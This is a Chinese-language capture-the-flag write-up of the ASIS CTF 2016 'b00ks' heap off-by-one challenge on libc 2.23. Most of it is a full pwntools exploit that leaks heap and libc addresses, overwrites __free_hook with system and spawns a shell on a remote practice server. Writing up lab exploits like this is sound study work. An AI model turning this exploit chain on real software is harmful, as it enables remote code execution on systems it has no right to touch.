堆溢出off-by-one (asis-ctf-2016 b00ks)
拖拖沓沓的搞了好久,本来打算上周搞定的,结果拖到了现在(
-
libc-2.23
-
漏洞点:
author name 输入为32,也就是这里的a2=32,经历了32次++a1后,a1[32]=0,而这是第33位。
其他地方对于这个scanf_s的调用正常,因为都是输入的size-1
-
创建堆块:
这个写着最大32,但是无妨,可以更大,需要注意的是,这里输入的size必须是十进制数。(以前做的题往往喜欢输入成0x20,0x30等等)(看了看以前做的题,都是用atoi转了,所以可以那么输入。)
book_list以及author_name_list仍然保存一个地址,那个地址指向真正的数据域
每一个book的存储大致形式:
- 用过的块的id同样不能再重复使用,最多20次对块的创建操作。
sl(b'C'*31+b'D'*1)
new(b'140',b'AAAAAA',b'140',b'BBBBBB')
show()
泄露出book1的0x30大小的指挥块位置(这里指向的是id)
-
还剩0x20e80,把它用完,让mmap再分配内存。
-
这时候从heap里看不到那个新的很大的块,从控制块中找到它们。
-
接下来把60覆盖成00
-
不知道为什么泄露出来的book_2_name的地址(也就是那个0x7f的)与libc_base的基地址偏移每次不同
更换思路,用unsortedbin来泄露
- 原本的book2_control的距离+8刚好是可以泄露fd指针的.
- 计算得到book4_control块的距离。(这是已经到最后的new,book4之后才用debug看的距离,其实可以提前算,不过麻烦,不如直接看debug减出来距离)
payload = b"A" * (0x100 - 0xc0) +p64(1)+ p64(book2_control + 8)+p64(book4_control+0x10) +p64(0xffff)
-
注意这里:后面一定要加长度,要不然输入不进去,这代表这description的长度
payload = p64(free_hook)+p64(0xffff)
我用的libc直接是glibc中的2.23的,后续把它换成buu的远程就直接能通过
总exp:
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./b00ks')
p=remote('node5.buuoj.cn',26785)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
def debug():
gdb.attach(p)
pause(1)
def new(name_size,name,des_size,des):
ru('Exit')
sl(b'1')
ru('Enter book name size:')
sl(name_size)
ru('Enter book name (Max 32 chars):')
sl(name)
ru('Enter book description size:')
sl(des_size)
ru('Enter book description:')
sl(des)
def dele(ID):
ru('Exit')
sl(b'2')
sl(ID)
def edit(ID,des):
ru('Exit')
sl(b'3')
rl()
sl(ID)
ru('description')
sl(des)
def show():
ru('Exit')
sl(b'4')
def change(content):
ru('Exit')
sl(b'5')
sl(content)
sl(b'C'*31+b'D'*1)
new(b'140',b'book1',b'140',b'first book')
show()
ru('CCCD')
book1_control = u64(rc(6).ljust(8,b'\x00'))
book2_control = book1_control + 0x30
book4_control = book1_control + 0x450
#print(hex(book1_control))
new(b'512',b'book2',b'512',b'second book')
new(b'20',b'/bin/sh\x00',b'20',b'/bin/sh\x00')
#debug()
dele(b'2')
payload = b"A" * (0x100 - 0xc0) +p64(1)+ p64(book2_control + 8)+p64(book4_control+0x10) +p64(0xffff)
edit(b'1', payload)
change(b'C'*31 + b'D'*1)
show()
#offset = 0x7f2da9d56010 - 0x7f2da9600000
#print(offset)
#libc = ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
libc = ELF('/home/kali/Desktop/libc-2.23.so')
rl()
rl()
p.recv(6)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 88 - 0x10 -(0x7f5b3ddc4b10-0x7f5b3da00000)
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
#edit(b'1',p64(bin_sh)+p64(free_hook))
new(b'140',b'book4',b'140',b'forth book')
payload = p64(free_hook)+p64(0xffff)
edit(b'1',payload)
#debug()
edit(b'4',p64(system_addr))
#debug()
dele(b'3')
p.interactive()
十分感谢师傅们的详细博客–参考博客:
[Asis CTF 2016] b00ks —— Off-By-One笔记与思考_asis ctf 2016 b00ks-CSDN博客